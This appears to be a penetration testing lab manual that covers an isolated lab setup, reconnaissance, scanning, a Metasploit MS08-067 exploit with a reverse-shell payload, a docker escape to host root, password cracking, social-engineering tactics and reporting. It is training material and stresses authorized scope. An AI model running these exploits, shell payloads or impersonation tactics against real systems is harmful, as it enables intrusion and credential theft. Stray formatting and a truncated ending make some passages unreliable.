Penetration Testing Laboratory Manual

1. Environment Architecture and Lab Fundamentals

Establishing a strictly sandboxed, isolated hacking laboratory is the foundational requirement for any penetration testing training program or security research environment. Penetration testing is inherently a destructive process; the tools, port scans, and live exploit payloads deployed during an engagement can cause unexpected service crashes, system corruption, or network outages. Crucially, without absolute network isolation, attack traffic—whether from a mistyped target IP address or an automated tool output—can leak beyond the intended boundaries onto production networks or public systems. Such unauthorized traffic leakage can disrupt business-critical infrastructure or violate legal frameworks. To guarantee complete containment, a penetration testing laboratory must enforce strict boundary controls. This includes physically disconnecting external network interface cards (NICs), disabling all wireless adapters, and configuring host virtualization software to utilize Host-Only or completely isolated virtual network adapters. In this sandboxed architecture, security analysts and students are free to execute aggressive scanning, exploit frameworks, and persistent payloads without any risk of external impact or unlawful exposure.

1.1 Virtualization & Workstation Setup (Lab 01 & Lab 02)

Hypervisor Architecture & Workstation Deployment

To deploy an agile security workstation, virtualization software such as VMware Player, Sun VirtualBox, or KVM/QEMU provides an optimal platform. Virtual machines (VMs) allow an entire penetration testing suite to run on a single physical host or laptop, creating a portable laboratory environment.

1. **VMware Player Configuration:** Download and install VMware Player. Navigate to *Manage -> Virtual Network Editor*, select a host-only virtual network (e.g., `VMnet1`), and verify that external NAT/Bridging is disabled while the internal DHCP daemon is active.
2. **VirtualBox Configuration:** Download and install Oracle VirtualBox. Access *Preferences -> Network -> Host-only Networks*. Create a new host-only adapter (e.g., `vboxnet0`), configure

the IPv4 address subnet to `192.168.1.0/24`, and ensure external adapter binding is disabled.

3. **KVM/QEMU Configuration:** Install `qemu-kvm` and `libvirt` on Linux hypervisors. Define an isolated virtual network bridge using `virsh net-define` with host-only routing XML specifications, ensuring the bridge interface does not forward packets to the physical outbound WAN interface:

```
virsh net-start isolated-net

virsh net-autostart isolated-net
```

1. **Workstation Deployment:** Import the security Linux distribution (BackTrack or modern equivalent) as an `.iso` file or disk container (`.vmdk`/`.qcow2`).
2. **System Boot & Initial Authentication:** Power on the virtual workstation. At the command-line interface prompt, authenticate using the default administrative credentials:

- **Username:** `root`
- **Password:** `toor` (the word "root" spelled backwards)

3. **Graphical Environment Initialization:** Launch the X Window System graphical user interface (GUI) by executing:

```
startx
```

1. **Terminal Access:** Open a terminal window (Konsole) by selecting the console icon or typing `konsole` within the application launcher.

Hardware & Interface Allocations

The following table establishes the baseline hardware specifications and network interface bindings required for the security workstation virtual machine:

VM Parameter	Minimum Allocation / Interface Binding	Function & Operational Description

CPU Cores	1 Core (2 Cores Recommended)	Allocated processing resources for tool execution and multi-threading.
RAM	512 MB (1024 MB+ Recommended)	System memory required to support background services and GUI operations.
Disk Space	10 GB – 20 GB	Dynamic or fixed virtual disk container for tool storage and persistent log captures.
Primary NIC (eth0)	Virtual Ethernet Interface (`eth0`)	First physical/virtual Ethernet adapter used for target network routing.
Loopback (lo)	Localhost Adapter (`127.0.0.1`)	Internal system loopback interface for local service communication.

Active Terminal Commands for Network Interface Management

By default, security distributions keep network interfaces powered down upon boot to prevent unauthorized DHCP broadcasts and maintain stealth.

To view all available network interfaces on the workstation (including inactive ones), run:

```
ifconfig -a
```

To manually activate the primary Ethernet interface (`eth0`), execute:

```
ifconfig eth0 up
```

- **Parameter Breakdown:** `ifconfig` calls the interface configuration utility; `eth0` specifies the target network card; `up` commands the device driver to power on and activate the interface.

To assign a static IP address manually to the active interface (e.g., assigning IP `192.168.1.23`), execute:

```
ifconfig eth0 up 192.168.1.23
```

- **Parameter Breakdown:** Appending `192.168.1.23` directly binds that static IPv4 address to interface `eth0` upon activation.

To request and acquire a dynamic IP address from an isolated local laboratory DHCP server, execute:

```
dhclient eth0
```

- **Parameter Breakdown:** `dhclient` invokes the Dynamic Host Configuration Protocol client to request lease parameters specifically for `eth0`.

To verify current network configuration settings, active IP assignments, and interface operational status, issue:

```
ifconfig
```

Package Management and Dependency Resolution

Advanced Package Tool (`apt`) manages software installations and dependencies, preventing "dependency hell" by automatically resolving required libraries.
First, refresh the local package index:

```
apt-get update
```

- **Parameter Breakdown:** `apt-get` invokes the package management tool, and `update` synchronizes the local package list with the repository indexes.

To install a specific utility (for example, the network mapping tool `cheops`), issue:

```
apt-get install cheops
```

- **Parameter Breakdown:** `install` commands APT to locate, download, and install `cheops` along with any required software dependencies.

Troubleshooting Procedures

- **Missing Network Connectivity:** If `ifconfig` does not report an assigned IP address after executing `dhclient eth0`, verify that the hypervisor's virtual network adapter is explicitly

set to Host-Only or Isolated mode and that the virtual DHCP daemon is running. If using static addressing, verify that `192.168.1.23` does not conflict with another host on the laboratory subnet.

- **Package Conflicts / Unresolved Dependencies:** If `apt-get install` returns errors regarding broken dependencies or held packages, execute `apt-get update` followed by `apt-get -f install` to force dependency repair and clear broken installation states.

1.2 Target Machine Deployment & Network Topology (Lab 03 & Lab 04)

Deploying a structured target environment requires positioning deliberately vulnerable operating systems alongside the security workstation on the isolated subnet.

1. **Target Machine Deployment:** Import target virtual machines (such as Metasploitable, WebGoat, DVWA, OWASP Juice Shop, or evaluation operating systems) into the hypervisor. Assign all target VMs to the same Host-Only/Isolated virtual network adapter as the security workstation.
2. **Subnet Connectivity Verification:** Ensure the host system is physically disconnected from external networks and wireless adapters are disabled. Power on the target virtual machines. From the security workstation terminal, verify internal connectivity across the target subnet without permitting external routing:

```
ping -c 3
```

1. **Snapshot Creation Procedures:** Virtual machine snapshots allow instant restoration of a target host to a pristine state after exploit execution or system crashes.

- Before launching any scanning or exploitation tools, pause or shut down the target virtual machine.
- Open the hypervisor snapshot menu (e.g., *VM -> Snapshot -> Take Snapshot* in VMware, *Machine -> Snapshots* in VirtualBox, or `virsh snapshot-create-as` in KVM/QEMU).
- Assign a descriptive baseline label (e.g., `Clean_Baseline_Pre_Exploitation`).
- Should a service crash or become corrupted during testing, revert immediately to the baseline snapshot.

Having successfully established an isolated virtual laboratory infrastructure and verified internal workstation-to-target connectivity, the penetration testing workflow transitions to its primary operational stage: Phase 1 — Reconnaissance.

---

2. Phase 1: Reconnaissance and Information Gathering

Reconnaissance—also known as information gathering—is the foundation of the Zero Entry Hacking (ZEH) four-step penetration testing methodology (comprising Reconnaissance, Scanning, Exploitation, and Maintaining Access). In an active assessment, thorough preparation and information gathering dictate overall engagement success. Operating like a meticulous investigation, reconnaissance ensures that an analyst understands the target's organizational structure, technologies, domain footprints, and administrative details before sending a single intrusive network packet. Skipping or rushing reconnaissance leads to a significantly smaller target surface and limited attack vectors, rendering an analyst ineffective.



2.1 Passive Reconnaissance & Search Engine Intelligence (Lab 05)

Reconnaissance is divided into active and passive methodologies:

- **Active Reconnaissance:** Involves direct network interaction with the target infrastructure (e.g., visiting a live web server or querying an internal service). Active reconnaissance carries the risk of leaving digital fingerprints, generating traffic entries in target server log files, or triggering intrusion alarms.
- **Passive Reconnaissance:** Relies entirely on third-party repositories, search engine indexes, and cached records. Passive techniques generate zero direct network packets to the target system, completely eliminating logging risk on the target's perimeter defenses.

Search Engine Directives ("Google Hacking")

Search engines continuously crawl and index public internet assets. By using specific search syntax rules—consisting of a directive keyword, a colon, and the search term without spaces—analysts can extract targeted intelligence.

- **Domain Restriction:** Restricts query results exclusively to the target organization's domain name.

```
site:dsu.edu pat engebretson
```

- **Directory Indexing Discovery:** Identifies exposed server directories that lack default web pages and display open file listings.

```
allintitle:index of
```

- **Administrative Interface Discovery:** Searches URLs for explicit administrative keywords to uncover unlinked management panels.

```
inurl:admin
```

- **Target Document Harvesting:** Filters for specific file formats hosted on the target domain, such as presentations, spreadsheets, or text files.

```
site:dsu.edu filetype:ppt
```

```

- **Historical / Deleted Asset Inspection:** Queries the search engine's cached copy of a site, allowing analysts to view web pages or uploaded documents that have been removed from the live site.

```
cache:syngress.com
```

*(Note: Search engine queries are case-insensitive. Clicking links within cached pages will redirect to live target links, transitioning the engagement from passive to active mode).*

### Offline Website Mirroring with HTTrack

To analyze an organization's public website without generating continuous browsing logs on the target web server, analysts create a complete offline mirror using `HTTrack` (`webhttrack`).

1. Install `HTTrack` on the security workstation:

```
apt-get install webhttrack
```

1. Launch the graphical utility via `Kstart -> Internet -> WebHTTrack Website Copier`, or execute `webhttrack` in the console. Alternatively, execute the command-line interface directly in terminal-only environments:

```
httrack http://www.syngress.com -O /root/loot/syngress_mirror "+*.syngress.com/*"
```

1. **Parameter Breakdown:** `http://www.syngress.com` specifies the target URL; `-O /root/loot/syngress_mirror` sets the local output storage path; `"+*.syngress.com/*"` explicitly scopes the mirror rule to include all target subdomains while blocking external links.
2. Once mirroring completes, select **Browse the mirrored website** to inspect the offline files locally.
```

Deep inspection of mirrored web assets regularly uncovers physical office locations, employee names, direct telephone numbers, press releases, corporate acquisitions, and open job requisitions. Job requisitions are particularly valuable; for instance, a posting searching for a network administrator with "Cisco ASA experience" confirms the deployment of Cisco ASA firewalls and suggests potential operational staffing gaps during transition periods.

2.2 Public Registration & Technical Data Mining (Lab 06)

Public registration records and Domain Name System (DNS) utility lookups convert domain names into target IP address ranges and administrative profiles.

Public Registration Interrogation (`whois`)

The `whois` utility queries global domain registration databases to reveal administrative contacts, physical addresses, technical support channels, and authoritative name servers.
Execute a domain registration lookup:

```
whois syngress.com
```

If initial output is truncated, locate the specific secondary registrar listed in the `Referral URL:` field (e.g., `whois.safenames.net`) and query that server directly via the terminal to extract extended registrant and administrative data.

Technical Host Lookups (`host`)

The `host` command performs forward and reverse DNS translations to map hostnames to IP addresses.

- **Forward DNS Translation:** Translates a fully qualified domain name (FQDN) into its public IP address.

```
host ns1.dreamhost.com
```

- **Reverse DNS Lookup:** Translates an IP address back into its associated domain hostname.

```
host 66.33.206.206
```

- **Verbose Resolution:** Execute with the `-a` switch to pull all available DNS records (including MX, NS, and CNAME data) for a host:

```
host -a syngress.com
```

(Consult local documentation at any time by issuing man host).

Infrastructure Analysis via Netcraft

Navigating to Netcraft (`http://news.netcraft.com`) and entering a domain into the **What's that site running?** query bar generates a detailed infrastructure site report. Netcraft reports detail historical IP address allocations, netblock ownership, web server software versions (e.g., Apache or IIS), underlying server operating systems (e.g., Linux vs. Windows), and domain hosting histories.

2.3 Specialized Information Gathering Tools

Automated reconnaissance tools streamline the aggregation of public intelligence across multiple search engines, public key servers, and metadata repositories.

TheHarvester

`TheHarvester` is an automated Python utility designed to catalog corporate email accounts, employee user handles, subdomains, and hostnames.

Navigate to `TheHarvester` directory:

```
cd /pentest/enumeration/google/theharvester
```

Execute the harvesting script against the target domain:

```
./theHarvester.py -d syngress.com -l 10 -b google
```

- **Parameter Breakdown:**

- `./theHarvester.py`: Invokes the script executable.
- `-d syngress.com`: Specifies the target domain.
- `-l 10`: Limits search results to 10 items per engine source.
- `-b google`: Defines the data source repository (`google`, `bing`, `pgp`, or `linkedin`).

Discovered email handles (e.g., `username@syngress.com`) provide raw material for constructing user account lists, while newly discovered subdomains (e.g., `booksite.syngress.com`) expand the scope of target IP addresses.

MetaGooFil

`MetaGooFil` searches public indices for uploaded target documents (such as `.pdf`, `.ppt`, `.doc`, `.xls`), downloads them, and parses their internal metadata structures.
Navigate to the tool directory and prepare an output folder:

```
cd /pentest/enumeration/google/metagoofil

mkdir files
```

Execute document metadata extraction:

```
./metagoofil.py -d syngress.com -f all -o results -t files
```

- **Parameter Breakdown:**
  - `-d syngress.com`: Defines the target search domain.
  - `-f all`: Directs the tool to download all supported document formats (`pdf`, `ppt`, `docx`, `xls`, etc.).
  - `-o results`: Designates the output file name for generated HTML/XML reports.
  - `-t files`: Directs downloaded raw target documents to be stored in the `./files` directory.

Metadata extraction uncovers critical internal markers, such as active network usernames (e.g., `dennisl`), internal storage folder structures (e.g., `C:\Documents and Settings\dennisl\My Documents\`), local operating system versions, and server network share names.

DNS Record Interrogation (`nslookup` & `dig`)

DNS infrastructure maintains maps linking human-readable domain names to target IP addresses. Interrogating these records provides direct visibility into target network assets.

- **Interactive DNS Interrogation (nslookup):** Launch interactive mode:

```
nslookup
```

Set the target DNS server IP:

```
&gt; server 66.33.206.206
```

Set record query parameters to pull specific records (e.g., Mail Exchanger `MX` or `ANY`):

```
&gt; set type=mx
```

Input the target domain:

```
&gt; syngress.com
```

- **Zone Transfer Execution (dig):** A DNS Zone Transfer (AXFR) is an administrative function designed to replicate resource records across secondary name servers. If misconfigured, a zone transfer will leak the complete internal and external DNS database to an analyst.

```
dig @66.33.206.206 syngress.com -t AXFR
```

- **Parameter Breakdown:** `@66.33.206.206` targets the specific name server IP; `syngress.com` identifies the requested domain zone; `-t AXFR` initiates the explicit zone transfer query.

E-mail Server Reconnaissance

E-mail infrastructure requires border firewalls to route inbound traffic to internal mail handling daemons. To map e-mail processing defenses passively and actively:

1. Transmit an e-mail containing a non-malicious attachment with an executable extension (e.g., an empty `.bat` file or standard `calc.exe`) to an invalid address at the target domain.
2. When the target mail server inspects and rejects the payload, examine the bounce-back notification body and complete internet headers.
3. The returned bounce-back header routinely exposes internal e-mail server operating system software, mail gateway build numbers, vendor antivirus protection engine brands, and internal private IPv4 address schemes.

2.4 Social Engineering Fundamentals & Target Consolidation

Human-based information gathering exploits human tendencies—such as trust, helpfulness, or fear—to collect sensitive administrative details. Primary social engineering attack vectors include:

- **Phishing & Pretexting:** Crafting targeted communications to employees (such as sales personnel who routinely respond to external inquiries). Out-of-office automated notifications often leak employee vacation schedules, travel destinations, alternate contact numbers, and supervisor details.
- **Helpdesk Impersonation:** Calling technical support channels using gathered employee information to request account credential resets under the pretext of being locked out while traveling.
- **Physical Media Drops:** Strategically dropping USB flash drives or CDs containing persistent backdoor payloads in public areas near target facilities (such as lobbies, parking structures, or break rooms), relying on target staff to insert the media into workstation computers.

Intelligence Consolidation Workflow

Following the execution of all passive and specialized reconnaissance tasks, the analyst must aggregate non-IP intelligence into verified IP target lists:

1. **Central Repository Creation:** Consolidate all gathered records into central electronic text repositories, organizing distinct files for hostnames, employee email addresses, metadata usernames, and physical locations.
2. **Data Transformation:** Convert all collected hostnames, domain URLs, mail servers, and DNS names into candidate IPv4 addresses using `host` lookups and script queries.
3. **Scope Verification & Filtering:** Compare every identified candidate IP address against the explicit boundaries authorized in the formal penetration testing scope agreement.
4. **Target List Pruning:** Any IP address that falls outside the legally authorized range must be immediately removed from the active attack queue. If a critical out-of-scope asset presents significant vulnerability risks, document the system separately to request scope expansion from the client's administrative team.

With a fully verified and legally compliant list of target IP addresses compiled, the operational workflow advances from passive information gathering to live network discovery and port scanning.

---

3. Phase 2: Scanning and Assessment

The operational workflow transitions from broad reconnaissance to granular network scanning. Scanning is the process of actively probing identified target IP addresses to discover live systems, determine transport port states, map running services, and evaluate underlying security vulnerabilities. Scanning is conducted across three structured sub-phases:

```
                +----------------------------------+
                | 3.1 Host Discovery (Ping Sweeps) |
                +----------------------------------+
                                  |
```

```
                    v

+----------------------------------+

| 3.2 Port Scanning &amp;amp; Enumeration  |

+----------------------------------+

                    |

                    v

+----------------------------------+

|   3.3 Vulnerability Scanning    |

+----------------------------------+
```

3.1 Host Discovery & ICMP Probing (Lab 07 - Part 1)

Host discovery verifies whether a candidate target machine is powered on and capable of network communication.

The primary tool for host discovery is the Internet Control Message Protocol (ICMP) Echo Request and Reply mechanism (`ping`).

Execute an ICMP echo probe against a target host:

```
ping -c 3 192.168.1.1
```

A responsive target returns an ICMP Echo Reply, revealing round-trip packet transmission timing, network hop latency, and general packet loss metrics. However, ICMP probing is non-definitive. Modern network firewalls and local operating system endpoint controls routinely block or filter ICMP Echo Requests to conceal live systems. Consequently, an unresponsive target to a `ping` request must not be discarded; analysts must proceed to deep transport port scanning regardless of ICMP reply status.

3.2 Network Discovery & Service Enumeration (Lab 07 - Part 2 & Lab 08)

Port scanning identifies transport connection points open on target machines. Probing these transport endpoints maps active software daemons and running services across the target network.

Transport Port Structures: The House Analogy

To understand transport layer host communications, consider a target machine as a physical house:

- The IP address acts as the unique street address pointing directly to the house.
- The individual network ports represent all potential physical entry points into the home (front doors, back sliding doors, garage bays, basement windows, and doggie doors).
- Standard common services enter through highly visible entryways (e.g., the front door), whereas specialized or obscure protocols operate through secondary entry points. Identifying open ports reveals every unlocked entry point on the target host.

Core Network Transport Ports & Associated Services

The following two-column table details core network ports and their standard associated services:

Port Number & Protocol	Associated Service / Operational Purpose
Port 20 / 21 (TCP)	FTP Data (Port 20) / FTP Control Channel (Port 21)
Port 22 (TCP)	SSH (Secure Shell) Encrypted Remote Management
Port 23 (TCP)	Telnet Unencrypted Remote Terminal Access
Port 25 (TCP)	SMTP (Simple Mail Transfer Protocol) Mail Routing
Port 53 (TCP/UDP)	DNS (Domain Name System) Hostname Resolution
Port 80 (TCP)	HTTP (Hypertext Transfer Protocol) Unencrypted Web Service
Port 443 (TCP)	HTTPS (HTTP Secure) SSL/TLS Encrypted Web Service

Perimeter Device Enumeration

Port scanning sweeps target perimeter devices—including border routers, hardware firewalls, reverse proxies, and DMZ servers—to identify exposed transport channels. Scanning tools

transmit specialized TCP/UDP probes to assess whether specific target ports are `open` (accepting connections), `closed` (rejecting connections with TCP RST), or `filtered` (dropped silently by a firewall). Uncovering open perimeter ports defines the initial entry points into internal corporate networks.

3.3 Vulnerability Scanning & Assessment (Lab 09, Lab 10, & Lab 11)

Vulnerability scanning automatically cross-references open target ports and service software banners against databases of known software flaws, misconfigurations, and outdated builds.

Scanner Execution & CVSS Evaluation

1. **Scanner Initialization:** Launch the vulnerability scanning engine (such as Greenbone / OpenVAS) via command-line or administrative console:

```
gvm-check-setup

openvas-nasl -v -t 192.168.1.50 /var/lib/openvas/plugins/smb_nt_ms08-067.nasl
```

1. **CVSS Metric Parsing:** Evaluate identified security gaps using Common Vulnerability Scoring System (CVSS) base metrics (ranging from 0.0 to 10.0), analyzing Access Vector (AV), Access Complexity (AC), Authentication (Au), and Impact metrics across Confidentiality (C), Integrity (I), and Availability (A).
2. **Exploit Vector Differentiating:** Categorize findings into actionable risk categories:

- **Critical / High-Risk Vectors (CVSS 7.0–10.0):** Unpatched Remote Code Execution (RCE) vulnerabilities, default administrative credentials, and unauthenticated memory corruption bugs.
- **Low-Risk / Informational Vectors (CVSS 0.0–3.9):** Protocol timestamp responses, software banner disclosures, and SSL/TLS cipher suite warnings.

3. **False Positive Elimination:** Verify findings manually before launching exploits. If a scanner reports a missing software patch based solely on a service banner, execute a non-destructive manual probe to confirm whether backported vendor fixes are present.

Vulnerability Database & Service Troubleshooting

- **Database Connection Failures:** If OpenVAS/Greenbone fails to initiate a scan or throws PostgreSQL connection errors, verify service status and restart local database daemons:

```
systemctl status postgresql

systemctl restart openvas-scanner

greenbone-nvt-sync
```

- **Firewall Blocked Port Scans:** If a target host drops port scan probes mid-assessment, decrease probe transmission speed, disable host ping discovery, or use TCP SYN stealth scanning modes (`-sS -Pn -T2`) to prevent firewall rate-limiting from dropping connections.

By compiling a validated list of active network services and confirmed software vulnerabilities, analysts transition from passive and active scanning to controlled vulnerability exploitation.

---

4. Phase 3: Web Application Testing and Controlled Exploitation

Controlled exploitation is the formal proof-of-concept (PoC) phase of a penetration test. During this phase, security analysts execute targeted exploit payloads against identified vulnerabilities to prove that security risks are real. Unlike malicious attacks, controlled exploitation operates strictly within defined legal authorizations, contractually specified scopes, and explicit rules of engagement. This phase validates security gaps while protecting business continuity and avoiding permanent operational disruption.

4.1 Web Application Security (Labs 12–17)

Web applications are high-value targets because they must remain open to public network traffic over HTTP/HTTPS (Ports 80/443). Testing web applications requires auditing user input validation, session mechanisms, and server storage logic.

Proxy Tool Traffic Interception

Intercepting web proxies (such as OWASP ZAP) position themselves between the workstation's local web browser and the target web server. Configure the browser's HTTP proxy settings to `127.0.0.1:8080`. This configuration enables capturing, inspecting, and modifying raw HTTP/HTTPS request headers, POST parameters, cookie strings, and server responses before they reach the target server.

Automated Web Enumeration & Vulnerability Discovery

Execute automated web enumeration scanners to discover unlinked directories, hidden management panels, and server misconfigurations.

- **Nikto Vulnerability Scanner:** Scan target web servers for dangerous files, outdated server software, and configuration weaknesses:

```
nikto -h http://192.168.1.50
```

- **Parameter Breakdown:** `-h http://192.168.1.50` specifies the target web host interface and protocol.
- **Gobuster Directory Brute-Forcing:** Enumerate hidden web directories and application files using custom wordlists:

```
gobuster dir -u http://192.168.1.50 -w /usr/share/wordlists/dirb/common.txt -x
php,html,txt
```

- **Parameter Breakdown:** `dir` selects directory brute-forcing mode; `-u http://192.168.1.50` defines the target URL; `-w /usr/share/...` sets the wordlist path; `-x php,html,txt` appends explicit file extensions to every wordlist entry.

- **ffuf High-Speed Web Fuzzing:** Perform parameter and path fuzzing across web applications:

```
ffuf -u http://192.168.1.50/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.0-medium.txt
```

- **Parameter Breakdown:** `-u http://192.168.1.50/FUZZ` specifies the target endpoint with the `FUZZ` keyword acting as the injection point; `-w` sets the dictionary wordlist file path.

Manual Web Application Attack Vectors

- **SQL Injection (SQLi):** Inject malformed SQL characters (`' OR '1'='1`) into input fields to bypass authentication or extract backend database schemas.
- **Cross-Site Scripting (XSS):** Inject client-side scripts (``) into application inputs that reflect data back to users, auditing for session token theft vulnerabilities.
- **Input Validation Bypass:** Modify request parameters directly within the intercepting proxy to bypass client-side JavaScript controls or file upload restrictions.
- **Session Handling Audits:** Evaluate session tokens for predictability, lack of HTTPOnly/Secure flags, improper timeout enforcement, and susceptibility to token fixation.

4.2 Controlled System Exploitation & Privilege Escalation (Labs 18–22)

System-level exploitation targets network service daemons to acquire local shell access on target hosts.

Metasploit Framework Operational Mechanics

The Metasploit Framework streamlines exploit payload delivery through a structured execution sequence:

```
[Target &amp;amp; Vulnerability Identified]
                  |
```

```
                v
      [1. Select Exploit Module]
                |
                v
      [2. Select Compatible Payload]
                |
                v
      [3. Configure Module Options (RHOSTS/LHOST)]
                |
                v
      [4. Execute Payload &amp;amp; Launch Session]
```

Launch the Metasploit console and execute a controlled exploit against a vulnerable service daemon (e.g., MS08-067 / NetAPI):

```
msfconsole
msf6 &gt; use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) &gt; set RHOSTS 192.168.1.50
msf6 exploit(windows/smb/ms08_067_netapi) &gt; set PAYLOAD
windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) &gt; set LHOST 192.168.1.23
msf6 exploit(windows/smb/ms08_067_netapi) &gt; set LPORT 4444
msf6 exploit(windows/smb/ms08_067_netapi) &gt; exploit
```

- **Parameter Breakdown:**
  - `use exploit/...`: Loads the target-specific vulnerability module.
  - `set RHOSTS 192.168.1.50`: Sets the victim target IP address.

- `set PAYLOAD windows/meterpreter/reverse_tcp`: Specifies the staged shell code payload to return an interactive Meterpreter session.
- `set LHOST 192.168.1.23` & `set LPORT 4444`: Defines the local listener IP and port on the security workstation.
- `exploit`: Launches the payload sequence against the target host.

Privilege Escalation Misconfigurations

Gaining an initial shell often provides only restricted user permissions. Elevating access to administrative (`root` / `SYSTEM`) level requires identifying host misconfigurations:

- **Linux Escalation Vectors:** Audit binaries with unquoted SUID permissions (`find / -perm -4000 2>/dev/null`), inspect writable system configuration files (`/etc/passwd` or `/etc/shadow`), and check for insecure `sudo` rights (`sudo -l`).
- **Windows Escalation Vectors:** Identify unquoted service paths with embedded spaces, audit weak service access control lists (`icacls`), and inspect held user privileges (`whoami /priv` for `SeImpersonatePrivilege`).

Password Auditing Methodologies

When extracted credential hashes are obtained during assessments, run password auditing tools against synthetic test hashes to evaluate password policy compliance:

- **John the Ripper Execution:** Execute dictionary attacks against harvested password hashes:

```
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

- **Parameter Breakdown:** `--format=raw-md5` sets the target hashing algorithm; `--wordlist=...` designates the dictionary wordlist file; `hashes.txt` specifies the input file containing target hashes.
- **Hashcat GPU-Accelerated Execution:** Execute rule-based or dictionary attacks against NT password hashes:

```
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
```

```

- **Parameter Breakdown:** `-m 1000` sets the hash type mode to NTLM; `-a 0` selects a standard dictionary attack mode; `hashes.txt` contains target hashes; `rockyou.txt` provides candidate words.

### Payload & Handler Troubleshooting

- **Payload Handler Binding Errors:** If Metasploit returns `Exploit failed [bad-config]: Handler failed to bind`, verify that `LHOST` matches an active interface IP on the workstation (`ifconfig`) and that no local background process is already bound to `LPORT 4444`.

Having successfully validated security vulnerabilities through proof-of-concept exploitation and elevated host permissions, the penetration testing engagement expands to evaluate broader enterprise infrastructure and wireless security controls.

---

# 5. Phase 4: Enterprise Infrastructure & Wireless Security

Modern enterprise environments consist of interconnected Active Directory domains, virtualization layers, containerized microservices, and wireless access networks. Once an initial foothold is acquired on a perimeter host, analysts conduct internal pivoting—using compromised systems as jump points—to evaluate access controls across internal enterprise assets.

## 5.1 Traffic Analysis & Insecure Protocols (Labs 23–25)

Internal enterprise networks often host legacy applications that transmit sensitive credentials across unencrypted transport channels.

### Packet Capture Execution (`tcpdump` & Wireshark)

Analysts capture live network traffic to identify cleartext protocols and insecure data transmissions.

Execute command-line packet captures on interface `eth0`:

```
tcpdump -i eth0 -w capture_log.pcap
```
```

```

```

- **Parameter Breakdown:** `-i eth0` binds capture operations to interface `eth0`; `-w capture_log.pcap` writes raw packet payloads directly to a PCAP storage file.

Read and inspect saved capture files directly from the command line:

```
tcpdump -r capture_log.pcap
```

Filter live capture operations to focus on specific ports or targets (e.g., inspecting unencrypted FTP traffic on Port 21):

```
tcpdump -i eth0 port 21 -X
```

- **Parameter Breakdown:** `port 21` restricts output exclusively to FTP data frames; `-X` prints both hex and ASCII payload contents to stdout, revealing cleartext parameters.

Wireshark Display Filter Analysis

Inspect `.pcap` files within Wireshark using targeted display filters to locate exposed authentication strings:

- **HTTP Cleartext POST Filter:** Extract plain-text web login credentials and session cookies:

```
http.request.method == "POST"
```

- **Telnet Terminal Protocol Filter:** Capture raw unencrypted keystrokes and administrative logins:

```
telnet
```

- **FTP Authentication Commands Filter:** Isolate cleartext FTP user parameters:

```
ftp.request.command == "USER" || ftp.request.command == "PASS"
```

Wireless Security Auditing

Auditing laboratory wireless access points includes verifying WPA2/WPA3 enterprise authentication controls, testing pre-shared key (PSK) strengths against dictionary attacks, identifying rogue access points, and confirming that guest wireless networks are strictly segmented from core administrative subnets.

5.2 Active Directory, Cloud, and Container Auditing (Labs 26–29)

Active Directory & SMB Enumeration

Interrogate Active Directory domain controllers, Kerberos authentication mechanisms, and network storage shares to identify privilege escalation paths.

- **Server Message Block (SMB) Share Enumeration:** Query target hosts for open network shares without presenting credentials:

```
smbclient -L //192.168.1.50 -N
```

- **Parameter Breakdown:** `-L //192.168.1.50` queries host service share listings; `-N` forces the client to attempt an unauthenticated null session query.
- **Comprehensive Automated SMB/Domain Enumeration:** Execute `enum4linux` to extract domain users, group memberships, share permissions, and password policies:

```
enum4linux -a 192.168.1.50
```

- **Parameter Breakdown:** `-a` executes all enumeration options (groups, users, shares, password policy, and RID lookup range) against target `192.168.1.50`.

Containerization & Cloud Environment Auditing

- **Docker Privilege Escalation Auditing:** Audit target hosts running container daemons to confirm whether local non-root users belong to the `docker` group. Belonging to this group allows escalating permissions to host `root` via raw socket binding:

```
docker run -v /:/host -it ubuntu chroot /host
```

- **Parameter Breakdown:** `-v /:/host` mounts the host's root filesystem into the container at `/host`; `-it ubuntu` launches an interactive Ubuntu container; `chroot /host` changes the root directory to the mounted host filesystem, yielding root access over the host machine.
- **Cloud Misconfiguration Audits:** Audit public cloud environments for exposed Object Storage buckets (e.g., public AWS S3 buckets), exposed access key IDs within client applications, and overly permissive Identity and Access Management (IAM) role policies.

Following the thorough assessment of enterprise domain structures, microservices, and network protocols, the penetration test transitions to its final operational phase: documentation, business risk reporting, and remediation synthesis.

---

6. Phase 5: Reporting, Remediation, and Engagement Synthesis

The ultimate business deliverable of any penetration test is its formal final report. Technical findings, exploit traces, and vulnerability logs must be synthesized into actionable business context and clear defensive remediation strategies. A technical finding holds little value unless it provides business decision-makers with the operational clarity needed to mitigate risk.

6.1 Documentation, Evidence Gathering, and Report Writing (Labs 30–32)

Throughout the engagement, analysts systematically collect and catalog evidentiary materials, including command console execution logs, raw packet captures, exploit session outputs, and target network topology maps. These records form the technical backbone of the penetration test report.

Penetration Test Report Structural Breakdown

A formal penetration test report is organized into three primary sections:

```
+---------------------------------------------------------------+
|                        PENETRATION TEST REPORT                |
+---------------------------------------------------------------+
| 1. EXECUTIVE SUMMARY                                          |
|    - Concise, Non-Technical Overview (1-2 pages)              |
|    - Overall Risk Posture &amp;amp; Strategic Impacts             |
|    - High-Level Remediation Recommendations                   |
+---------------------------------------------------------------+
| 2. DETAILED TECHNICAL FINDINGS                                |
|    - Categorized Flaws with CVSS Ratings                      |
|    - Affected Target IP Addresses &amp;amp; Hosts                 |
|    - Reproducible Proof-of-Concept (PoC) Exploit Steps        |
+---------------------------------------------------------------+
| 3. REMEDIATION ROADMAP                                        |
|    - Prioritized Patching &amp;amp; Service Upgrades              |
|    - Defensive System &amp;amp; Firewall Reconfigurations         |
+---------------------------------------------------------------+
```

1. **Executive Summary:** A concise, 1-to-2 page narrative tailored specifically for non-technical executive leadership (e.g., C-level officers and board members). This section summarizes overall organizational risk posture, details critical business impacts (such as data exposure risks or regulatory compliance failures), and highlights primary mitigation strategies without using excessive technical jargon.
2. **Detailed Technical Findings:** An in-depth section written for system administrators, software engineers, and security operations personnel. It documents every discovered flaw, affected system IP address, CVSS severity score, and detailed, step-by-step reproducible Proof-of-Concept (PoC) exploit instructions.

3. **Remediation Roadmap:** A strategic, prioritized action plan detailing software patch updates, secure service reconfigurations, firewall rule adjustments, and defensive controls ordered by risk priority.

6.2 Remediation Re-testing & Full Simulated Engagement (Labs 33–34)

Remediation Verification Testing

